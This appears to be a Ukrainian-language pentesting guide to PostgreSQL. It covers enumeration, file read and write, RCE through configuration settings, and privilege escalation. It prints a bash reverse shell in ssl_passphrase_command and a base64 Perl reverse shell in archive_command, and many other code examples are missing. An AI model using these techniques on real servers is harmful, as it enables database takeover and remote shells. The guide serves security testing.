5432,5433 - Pentesting Postgresql
Використовуйте Trickest для легкого створення та автоматизації робочих процесів, підтримуваних найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:
Основна інформація
PostgreSQL описується як об'єктно-реляційна система управління базами даних, яка є відкритим кодом. Ця система не лише використовує мову SQL, але й покращує її додатковими функціями. Її можливості дозволяють обробляти широкий спектр типів даних та операцій, що робить її універсальним вибором для розробників та організацій.
Порт за замовчуванням: 5432, і якщо цей порт вже використовується, то, здається, postgresql використовуватиме наступний порт (ймовірно, 5433), який не використовується.
Підключення та базове перерахування
Якщо при виконанні \list
ви знайдете базу даних під назвою rdsadmin
, ви знаєте, що ви всередині AWS postgresql database.
Для отримання додаткової інформації про як зловживати PostgreSQL базою даних дивіться:
PostgreSQL injectionАвтоматичне перерахування
Сканування портів
Згідно з цим дослідженням, коли спроба підключення не вдається, dblink
викидає виключення sqlclient_unable_to_establish_sqlconnection
, яке містить пояснення помилки. Приклади цих деталей наведені нижче.
Хост недоступний
ДЕТАЛІ: не вдалося підключитися до сервера: Немає маршруту до хоста. Чи працює сервер на хості "1.2.3.4" і приймає TCP/IP з'єднання на порту 5678?
Порт закритий
Порт відкритий
or
Порт відкритий або фільтрується
У функціях PL/pgSQL наразі неможливо отримати деталі виключень. Однак, якщо у вас є прямий доступ до сервера PostgreSQL, ви можете отримати необхідну інформацію. Якщо витягти імена користувачів та паролі з системних таблиць неможливо, ви можете розглянути можливість використання методу атаки зі словником, обговореного в попередньому розділі, оскільки це може дати позитивні результати.
Перерахування Привілеїв
Ролі
Типи Ролей | |
---|---|
rolsuper | Роль має привілеї суперкористувача |
rolinherit | Роль автоматично успадковує привілеї ролей, членом яких вона є |
rolcreaterole | Роль може створювати більше ролей |
rolcreatedb | Роль може створювати бази даних |
rolcanlogin | Роль може увійти в систему. Тобто, цю роль можна використовувати як початковий ідентифікатор авторизації сесії |
rolreplication | Роль є роллю реплікації. Роль реплікації може ініціювати з'єднання реплікації та створювати і видаляти слоти реплікації. |
rolconnlimit | Для ролей, які можуть увійти в систему, це встановлює максимальну кількість одночасних з'єднань, які може зробити ця роль. -1 означає без обмежень. |
rolpassword | Не пароль (завжди читається як |
rolvaliduntil | Час закінчення терміну дії пароля (використовується лише для аутентифікації за паролем); null, якщо немає терміну дії |
rolbypassrls | Роль обходить кожну політику безпеки на рівні рядка, див. Розділ 5.8 для отримання додаткової інформації. |
rolconfig | Специфічні для ролі значення за замовчуванням для змінних конфігурації під час виконання |
oid | ID ролі |
Цікаві Групи
Якщо ви є членом
pg_execute_server_program
, ви можете виконувати програмиЯкщо ви є членом
pg_read_server_files
, ви можете читати файлиЯкщо ви є членом
pg_write_server_files
, ви можете писати файли
Зверніть увагу, що в Postgres користувач, група та роль є одним і тим же. Це залежить від того, як ви це використовуєте і чи дозволяєте їй входити в систему.
Таблиці
Функції
File-system actions
Read directories and files
З цього коміту члени визначеної DEFAULT_ROLE_READ_SERVER_FILES
групи (названої pg_read_server_files
) та суперкористувачі можуть використовувати метод COPY
на будь-якому шляху (перевірте convert_and_check_filename
у genfile.c
):
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE, ви можете додати себе до цього групи:
Існують інші функції postgres, які можна використовувати для читання файлів або переліку директорій. Тільки суперкористувачі та користувачі з явними дозволами можуть їх використовувати:
Ви можете знайти більше функцій в https://www.postgresql.org/docs/current/functions-admin.html
Просте записування файлів
Тільки суперкористувачі та члени pg_write_server_files
можуть використовувати copy для запису файлів.
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE
, ви можете додати себе до цієї групи:
Пам'ятайте, що COPY не може обробляти символи нового рядка, тому навіть якщо ви використовуєте корисне навантаження base64, вам потрібно надіслати однорядковий запит.
Дуже важливе обмеження цієї техніки полягає в тому, що copy
не може бути використаний для запису бінарних файлів, оскільки він змінює деякі бінарні значення.
Завантаження бінарних файлів
Однак існують інші техніки для завантаження великих бінарних файлів:
Big Binary Files Upload (PostgreSQL)Порада для баг-баунті: зареєструйтесь на Intigriti, преміум платформі для баг-баунті, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні та почніть заробляти винагороди до $100,000!
Оновлення даних таблиці PostgreSQL через запис локального файлу
Якщо у вас є необхідні дозволи для читання та запису файлів сервера PostgreSQL, ви можете оновити будь-яку таблицю на сервері, перезаписавши відповідний файл вузла в каталозі даних PostgreSQL. Більше про цю техніку тут.
Необхідні кроки:
Отримайте каталог даних PostgreSQL
Примітка: Якщо ви не можете отримати поточний шлях до каталогу даних з налаштувань, ви можете запитати основну версію PostgreSQL через запит SELECT version()
і спробувати перебрати шлях. Загальні шляхи до каталогу даних на Unix-інсталяціях PostgreSQL: /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Загальне ім'я кластера - main
. 2. Отримайте відносний шлях до файлу вузла, пов'язаного з цільовою таблицею
Цей запит повинен повернути щось на зразок base/3/1337
. Повний шлях на диску буде $DATA_DIRECTORY/base/3/1337
, тобто /var/lib/postgresql/13/main/base/3/1337
. 3. Завантажте файл вузла через функції lo_*
Отримайте тип даних, пов'язаний з цільовою таблицею
Використовуйте PostgreSQL Filenode Editor для редагування файлу вузла; встановіть всі булеві прапори
rol*
на 1 для повних прав.
(Опціонально) Очистіть кеш таблиці в пам'яті, запустивши витратний SQL-запит
Тепер ви повинні бачити оновлені значення таблиці в PostgreSQL.
Ви також можете стати суперадміністратором, редагуючи таблицю pg_authid
. Дивіться наступний розділ.
RCE
RCE до програми
Оскільки версія 9.3, тільки суперкористувачі та члени групи pg_execute_server_program
можуть використовувати copy для RCE (приклад з ексфільтрацією:
Приклад для exec:
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE
, ви можете додати себе до цієї групи:
Або використовуйте модуль multi/postgres/postgres_copy_from_program_cmd_exec
з metasploit.
Більше інформації про цю вразливість тут. Хоча це було зареєстровано як CVE-2019-9193, Postges оголосив, що це функція і не буде виправлено.
RCE з мовами PostgreSQL
RCE with PostgreSQL LanguagesRCE з розширеннями PostgreSQL
Якщо ви навчилися з попереднього посту як завантажувати бінарні файли, ви можете спробувати отримати RCE, завантажуючи розширення postgresql і завантажуючи його.
RCE with PostgreSQL ExtensionsRCE з конфігураційного файлу PostgreSQL
Наступні вектори RCE особливо корисні в обмежених контекстах SQLi, оскільки всі кроки можуть бути виконані через вкладені оператори SELECT
Конфігураційний файл PostgreSQL є записуваним користувачем postgres, який запускає базу даних, тому як суперкористувач, ви можете записувати файли в файловій системі, а отже, ви можете перезаписати цей файл.
RCE з ssl_passphrase_command
Більше інформації про цю техніку тут.
Конфігураційний файл має кілька цікавих атрибутів, які можуть призвести до RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Шлях до приватного ключа бази данихssl_passphrase_command = ''
Якщо приватний файл захищений паролем (шифрований), postgresql виконає команду, вказану в цьому атрибуті.ssl_passphrase_command_supports_reload = off
Якщо цей атрибут включений, команда, що виконується, якщо ключ захищений паролем, буде виконана під час виконанняpg_reload_conf()
.
Отже, зловмиснику потрібно:
Скинути приватний ключ з сервера
Зашифрувати завантажений приватний ключ:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Перезаписати
Скинути поточну конфігурацію postgresql
Перезаписати конфігурацію з вказаними атрибутами:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Виконати
pg_reload_conf()
Під час тестування я помітив, що це буде працювати лише якщо файл приватного ключа має привілеї 640, він належить root і групі ssl-cert або postgres (щоб користувач postgres міг його читати), і розміщений у /var/lib/postgresql/12/main.
RCE з archive_command
Більше інформації про цю конфігурацію та про WAL тут.
Ще один атрибут у конфігураційному файлі, який можна експлуатувати, це archive_command
.
Для цього archive_mode
має бути 'on'
або 'always'
. Якщо це правда, то ми можемо перезаписати команду в archive_command
і змусити її виконатися через операції WAL (журнал попереднього запису).
Загальні кроки:
Перевірте, чи увімкнено режим архівування:
SELECT current_setting('archive_mode')
Перезапишіть
archive_command
з корисним навантаженням. Наприклад, зворотний шелл:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Перезавантажте конфігурацію:
SELECT pg_reload_conf()
Примусьте операцію WAL виконатися, що викличе команду архівування:
SELECT pg_switch_wal()
абоSELECT pg_switch_xlog()
для деяких версій Postgres
RCE з попередньо завантаженими бібліотеками
Більше інформації про цю техніку тут.
Цей вектор атаки використовує наступні змінні конфігурації:
session_preload_libraries
-- бібліотеки, які будуть завантажені сервером PostgreSQL під час підключення клієнта.dynamic_library_path
-- список директорій, де сервер PostgreSQL шукатиме бібліотеки.
Ми можемо встановити значення dynamic_library_path
на директорію, записувану користувачем postgres
, що запускає базу даних, наприклад, директорію /tmp/
, і завантажити туди шкідливий об'єкт .so
. Далі ми змусимо сервер PostgreSQL завантажити нашу нову бібліотеку, включивши її в змінну session_preload_libraries
.
Кроки атаки:
Завантажте оригінальний
postgresql.conf
Включіть директорію
/tmp/
у значенняdynamic_library_path
, наприклад,dynamic_library_path = '/tmp:$libdir'
Включіть ім'я шкідливої бібліотеки в значення
session_preload_libraries
, наприклад,session_preload_libraries = 'payload.so'
Перевірте основну версію PostgreSQL за допомогою запиту
SELECT version()
Скомпілюйте код шкідливої бібліотеки з правильним пакетом розробника PostgreSQL Приклад коду:
Компілірування коду:
Завантажте шкідливий
postgresql.conf
, створений на етапах 2-3, і перезапишіть оригінальнийЗавантажте
payload.so
з етапу 5 у директорію/tmp
Перезавантажте конфігурацію сервера, перезапустивши сервер або викликавши запит
SELECT pg_reload_conf()
При наступному підключенні до БД ви отримаєте зворотне з'єднання шеллу.
Підвищення привілеїв Postgres
Підвищення привілеїв CREATEROLE
Надання
Згідно з документацією: Ролі, що мають привілей CREATEROLE
, можуть надавати або відкликати членство в будь-якій ролі, яка не є суперкористувачем.
Отже, якщо у вас є дозвіл CREATEROLE
, ви можете надати собі доступ до інших ролей (які не є суперкористувачами), що можуть дати вам можливість читати та записувати файли та виконувати команди:
Змінити пароль
Користувачі з цією роллю також можуть змінювати паролі інших не-суперкористувачів:
Privesc to SUPERUSER
Досить поширено, що локальні користувачі можуть входити в PostgreSQL без надання будь-якого пароля. Тому, як тільки ви отримали дозволи на виконання коду, ви можете зловживати цими дозволами, щоб надати собі роль SUPERUSER
:
Це зазвичай можливо через наступні рядки у файлі pg_hba.conf
:
ALTER TABLE privesc
У цьому звіті пояснюється, як було можливим privesc у Postgres GCP, зловживаючи привілеєм ALTER TABLE, який був наданий користувачу.
Коли ви намагаєтеся зробити іншого користувача власником таблиці, ви повинні отримати помилку, яка цьому заважає, але, очевидно, GCP надала цю опцію не-суперкористувачу postgres в GCP:
Поєднуючи цю ідею з тим фактом, що коли команди INSERT/UPDATE/ANALYZE виконуються на таблиці з функцією індексу, функція викликається як частина команди з дозволами власника таблиці. Можливо створити індекс з функцією та надати дозволи власника суперкористувачу над цією таблицею, а потім виконати ANALYZE над таблицею з шкідливою функцією, яка зможе виконувати команди, оскільки використовує привілеї власника.
Exploitation
Почніть з створення нової таблиці.
Вставте деякий нерелевантний контент у таблицю, щоб надати дані для функції індексації.
Розробіть шкідливу функцію індексації, яка містить код виконання, що дозволяє виконувати несанкціоновані команди.
Змініть власника таблиці на "cloudsqladmin", що є роллю суперкористувача GCP, яка використовується виключно Cloud SQL для управління та обслуговування бази даних.
Виконайте операцію ANALYZE на таблиці. Ця дія змушує движок PostgreSQL перейти в контекст користувача власника таблиці, "cloudsqladmin". Внаслідок цього шкідлива функція індексації викликається з правами "cloudsqladmin", що дозволяє виконання раніше несанкціонованої команди оболонки.
In PostgreSQL, this flow looks something like this:
Тоді таблиця shell_commands_results
міститиме вихідні дані виконаного коду:
Local Login
Деякі неправильно налаштовані екземпляри postgresql можуть дозволяти вхід будь-якого локального користувача, можливо локально з 127.0.0.1, використовуючи dblink
function:
Зверніть увагу, що для роботи попереднього запиту функція dblink
повинна існувати. Якщо її немає, ви можете спробувати створити її за допомогою
Якщо у вас є пароль користувача з більшими привілеями, але цьому користувачу не дозволено входити з зовнішньої IP-адреси, ви можете використовувати наступну функцію для виконання запитів від імені цього користувача:
Можна перевірити, чи існує ця функція за допомогою:
Користувацька визначена функція з SECURITY DEFINER
У цьому звіті пентестери змогли підвищити привілеї всередині екземпляра postgres, наданого IBM, тому що вони знайшли цю функцію з прапором SECURITY DEFINER:
Як пояснено в документації, функція з SECURITY DEFINER виконується з привілеями користувача, який її володіє. Тому, якщо функція вразлива до SQL Injection або виконує деякі привілейовані дії з параметрами, контрольованими атакуючим, її можна зловживати для ескалації привілеїв всередині postgres.
У рядку 4 попереднього коду ви можете побачити, що функція має прапор SECURITY DEFINER.
And then виконати команди:
Проходження Брутфорсу з PL/pgSQL
PL/pgSQL - це повнофункціональна мова програмування, яка пропонує більший процедурний контроль у порівнянні з SQL. Вона дозволяє використовувати цикли та інші структури управління для покращення логіки програми. Крім того, SQL-інструкції та тригери мають можливість викликати функції, створені за допомогою мови PL/pgSQL. Ця інтеграція дозволяє більш комплексний і універсальний підхід до програмування бази даних та автоматизації. Ви можете зловживати цією мовою, щоб попросити PostgreSQL брутфорсити облікові дані користувачів.
PL/pgSQL Password BruteforceПривілеї через Перезапис Внутрішніх Таблиць PostgreSQL
Наступний вектор привілеїв особливо корисний у обмежених контекстах SQLi, оскільки всі кроки можна виконати через вкладені SELECT-інструкції
Якщо ви можете читати та писати файли сервера PostgreSQL, ви можете стати суперкористувачем, перезаписавши файловий вузол PostgreSQL на диску, пов'язаний з внутрішньою таблицею pg_authid
.
Дізнайтеся більше про цю техніку тут.
Кроки атаки:
Отримати каталог даних PostgreSQL
Отримати відносний шлях до файлового вузла, пов'язаного з таблицею
pg_authid
Завантажити файловий вузол через функції
lo_*
Отримати тип даних, пов'язаний з таблицею
pg_authid
Використати Редактор Файлових Вузлів PostgreSQL, щоб редагувати файловий вузол; встановити всі булеві прапори
rol*
на 1 для повних прав.Повторно завантажити відредагований файловий вузол через функції
lo_*
і перезаписати оригінальний файл на диску(Опційно) Очистити кеш таблиці в пам'яті, запустивши витратний SQL-запит
Тепер ви повинні мати привілеї повного супер адміністратора.
POST
logging
Всередині файлу postgresql.conf ви можете увімкнути журнали postgresql, змінивши:
Тоді, перезапустіть сервіс.
pgadmin
pgadmin - це платформа для адміністрування та розробки для PostgreSQL. Ви можете знайти паролі всередині файлу pgadmin4.db Ви можете розшифрувати їх, використовуючи функцію decrypt всередині скрипта: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
Аутентифікація клієнтів у PostgreSQL керується через конфігураційний файл під назвою pg_hba.conf. Цей файл містить серію записів, кожен з яких вказує тип з'єднання, діапазон IP-адрес клієнтів (якщо застосовно), назву бази даних, ім'я користувача та метод аутентифікації, який слід використовувати для відповідності з'єднанням. Перший запис, який відповідає типу з'єднання, адресі клієнта, запитуваній базі даних та імені користувача, використовується для аутентифікації. Немає резервного варіанту, якщо аутентифікація не вдалася. Якщо жоден запис не відповідає, доступ заборонено.
Доступні методи аутентифікації на основі паролів у pg_hba.conf - це md5, crypt та password. Ці методи відрізняються тим, як передається пароль: MD5-хешований, crypt-зашифрований або у відкритому тексті. Важливо зазначити, що метод crypt не може бути використаний з паролями, які були зашифровані в pg_authid.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Last updated